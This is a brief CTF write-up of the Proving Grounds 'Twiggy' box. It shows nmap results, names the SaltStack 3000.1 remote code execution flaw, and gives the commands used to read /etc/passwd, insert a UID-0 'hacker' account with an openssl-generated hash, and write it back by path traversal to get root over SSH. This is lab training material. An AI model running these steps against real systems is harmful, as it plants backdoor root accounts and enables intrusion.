Proving grounds Practice - Twiggy CTF writeup.

Nmap

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.4 (protocol 2.0)
53/tcp   open  domain  NLnet Labs NSD
80/tcp   open  http    nginx 1.16.1
4505/tcp open  zmtp    ZeroMQ ZMTP 2.0
4506/tcp open  zmtp    ZeroMQ ZMTP 2.0
8000/tcp open  http    nginx 1.16.1

Web

PORT: 80

PORT: 8000

The SaltStack Salt REST API is running.

SaltStack is vulnerable to Saltstack 3000.1 - Remote Code Execution

Exploitation

python exploit.py --master 192.168.174.62 --read /etc/passwd

unable to obtain reverse shell using the --exec command in the exploit but we will be able to create and add our own new user account to the /etc/passwd file.

Create new user

openssl passwd hacked
$1$iBeMKMaU$.O3VYqCZxUvapPL.OQ97/1

hacked is the password.

Add the following to the /etc/passwd content we have extracted from the attacking machine.

hacker:$1$iBeMKMaU$.O3VYqCZxUvapPL.OQ97/1:0:0:root:/root:/bin/bash

Writing /etc/passwd file

python exploit.py --master 192.168.174.62 --upload-src passwd --upload-dest ../../../../../../../../../../etc/passwd

Verify the user existence

SSH to the attacking machine using the username as hacker and password hacked.

Root Obtained

Thanks for reading!

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